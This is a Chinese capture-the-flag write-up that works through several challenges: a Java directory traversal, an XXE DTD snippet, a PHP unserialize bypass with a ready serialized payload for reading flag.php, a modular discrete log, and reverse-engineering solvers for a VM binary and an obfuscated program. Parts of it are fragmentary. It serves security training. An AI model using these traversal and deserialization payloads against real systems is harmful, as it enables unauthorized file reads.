console
看到flag打开题目,查看基本的功能后发现有一个文件下载功能,尝试穿越目录发现web.xml
再次寻找这几个servlet的字节码在classes/cn/abc/servlet/xxx.class
<data>&send;data>
no_show_poc.dtd:
">
%all;
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]:
";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
FileHandler
类中有写文件参数和读文件参数,然后已知已经存在了flag.php
__destruct
中,对op进行了过滤===
和==
强弱进行绕过int
的2cmdline
+读取/web/config/httpd.conf
得知is_valid()
函数会过滤%00
,而类中的属性是protected
,但是在php7.1+中,对属性类型不敏感,所以可以使用public绕过
class FileHandler{
public $op;
public $filename;
public $content;
public function __construct()
{
$this->op=2;
$this->filename='/web/html/flag.php';
$this->content='tmp';
}
}
echo serialize(new FileHandler());
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:18:"/web/html/flag.php";s:7:"content";s:3:"tmp";}
{9b093016-4f86-41d3-a203-154094bba637}
第一步求MD5值46e5efe6165a5afb361217446a2dbd01
MD5求解后是en5oy
第二步
第三步
到这里就可以求出所有解了,但是flag闪的太快,没办法只能把程序逆一下了
打开字符串窗口可以看到flag的输出格式,判断为之前的输入值,所以flag为
flag{en5oy_746831_89127561}
打开题发现是个python脚本
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from Crypto.Util.number import *
import random
n = 2 ** 512
m = random.randint(2, n-1) | 1
c = pow(m, bytes_to_long(flag), n)
print 'm = ' + str(m)
print 'c = ' + str(c)
# m = 391190709124527428959489662565274039318305952172936859403855079581402770986890308469084735451207885386318986881041563704825943945069343345307381099559075
# c = 6665851394203214245856789450723658632520816791621796775909766895233000234023642878786025644953797995373211308485605397024123180085924117610802485972584499
# n = 13407807929942597099574024998205846127479365820592393377723561443721764030073546976801874298166903427690031858186486050853753882811946569946433649006084096
sagemath秒了,2512以bsgs的复杂度就是2256
n = 2 ** 512
m= 391190709124527428959489662565274039318305952172936859403855079581402770986890308469084735451207885386318986881041563704825943945069343345307381099559075
c=6665851394203214245856789450723658632520816791621796775909766895233000234023642878786025644953797995373211308485605397024123180085924117610802485972584499
ZmodN = Zmod(2^512)
m=ZmodN(m)
c=ZmodN(c)
c.log(m)
hex(56006392793405651552924479293096841126763872290794186417054288110043102953612574215902230811593957757)
求出flag的hex
0x666c61677b35663935636139332d313539342d373632642d656430622d6139313339363932636234617d
转为str
flag{5f95ca93-1594-762d-ed0b-a9139692cb4a}
IDA打开程序,进入主函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+18h] [ebp-1D4h]
__main();
qmemcpy(&v4, &unk_403040, 0x1C8u); //将unk_403040放入v4中
vm_operad(&v4, 114); //主要操作
puts("good,The answer format is:flag {}");
return 0;
}
跟进vm_operad()函数;发现函数对数组进行了一串复杂操作,0x403040是存放指令和数据的地址,每四个字节是一组。对照vm_operad函数人工分析,操作顺序。得出逻辑是讲输入处理后与0x403040最后的一些数据作比较。
int __cdecl vm_operad(int *a1, int a2)
{
int result; // eax
char Str[100]; // [esp+13h] [ebp-E5h]
char v4[100]; // [esp+77h] [ebp-81h]
char v5; // [esp+DBh] [ebp-1Dh]
int v6; // [esp+DCh] [ebp-1Ch]
int v7; // [esp+E0h] [ebp-18h]
int v8; // [esp+E4h] [ebp-14h]
int v9; // [esp+E8h] [ebp-10h]
int v10; // [esp+ECh] [ebp-Ch]
v10 = 0;
v9 = 0;
v8 = 0;
v7 = 0;
v6 = 0;
while ( 1 ) //处理过程
{
result = v10;
if ( v10 >= a2 )
return result;
switch ( a1[v10] )
{
case 1:
v4[v7] = v5;
++v10;
++v7;
++v9;
break;
case 2:
v5 = a1[v10 + 1] + Str[v9];
v10 += 2;
break;
case 3:
v5 = Str[v9] - LOBYTE(a1[v10 + 1]);
v10 += 2;
break;
case 4:
v5 = a1[v10 + 1] ^ Str[v9];
v10 += 2;
break;
case 5:
v5 = a1[v10 + 1] * Str[v9];
v10 += 2;
break;
case 6:
++v10;
break;
case 7:
if ( v4[v8] != a1[v10 + 1] )
{
printf("what a shame...");
exit(0);
}
++v8;
v10 += 2;
break;
case 8:
Str[v6] = v5;
++v10;
++v6;
break;
case 10:
read(Str);
++v10;
break;
case 11:
v5 = Str[v9] - 1;
++v10;
break;
case 12:
v5 = Str[v9] + 1;
++v10;
break;
default:
continue;
}
}
}
我们只需要把处理过程再现就可以了
code = [34,63,52,50,114,51,24,0xa7,49,0xf1,40,0x84,0xc1,30,122]
flag = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
flag[0] = (code[0]+5) ^ 16
flag[1] = (code[1]//3) ^ 32
flag[2] = code[2] +1+2
flag[3] = (code[3]^ 4) -1
flag[4] = (code[4]+33) //3
flag[5] = code[5]+1+1
flag[6] = (code[6]+32) ^ 9
flag[7] = (code[7] ^36) - 81
flag[8] = code[8]+1 -1
flag[9] = (code[9]-37) // 2
flag[10] = (code[10] ^ 65) -54
flag[11] = code[11] -32
flag[12] = (code[12] -37) //3
flag[13] = (code[13] +32) ^ 9
flag[14] = code[14] - 1 -65
for i in flag:
print(i)
print("flag{",end='')
for i in flag:
print(chr(i),end='')
print("}")
#flag{757515121f3d478}
IDA打开题目,发现堆栈不平衡,修复之后还是无法反编译,估计有些混淆的垃圾代码
但是一部分可以反编译
int __cdecl omg(char *a1)
{
int result; // eax
int v2[24]; // [esp+18h] [ebp-80h]
int i; // [esp+78h] [ebp-20h]
int v4; // [esp+7Ch] [ebp-1Ch]
v4 = 1;
qmemcpy(v2, &unk_4030C0, sizeof(v2));
for ( i = 0; i <= 23; ++i )
{
if ( a1[i] != v2[i] )
v4 = 0;
}
if ( v4 == 1 )
result = puts("hahahaha_do_you_find_me?");
else
result = puts("wrong ~~ But seems a little program");
return result;
}
char *__cdecl wrong(char *a1)
{
char *result; // eax
signed int i; // [esp+Ch] [ebp-4h]
for ( i = 0; i <= 23; ++i )
{
if ( i & 1 )
{
result = &a1[i];
a1[i] -= i;
}
else
{
result = &a1[i];
a1[i] ^= i;
}
}
return result;
}
对jocker进行动态调试
可以解出后5位之前的flag
v3 = [
14, 13, 9, 6, 19,
5, 88, 86, 62, 6,
12, 60, 31, 87, 20,
107, 87, 89, 13
]
str1 = "hahahaha_do_you_find_me?"
key1 = ""
for i in range(19):
key1 += chr(v3[i] ^ ord(str1[i]))
print(key1)
#flag{d07abccf8a410c
58与 } 异或的结果是71
猜测剩下的5位数可能都是异或71
遂得到flag
flag{d07abccf8a410cb37a}
apk逆向,使用dex2脱壳可以得到两个dex文件,反编译后可以得到用户名密码和flag
输入账号密码app也会有flag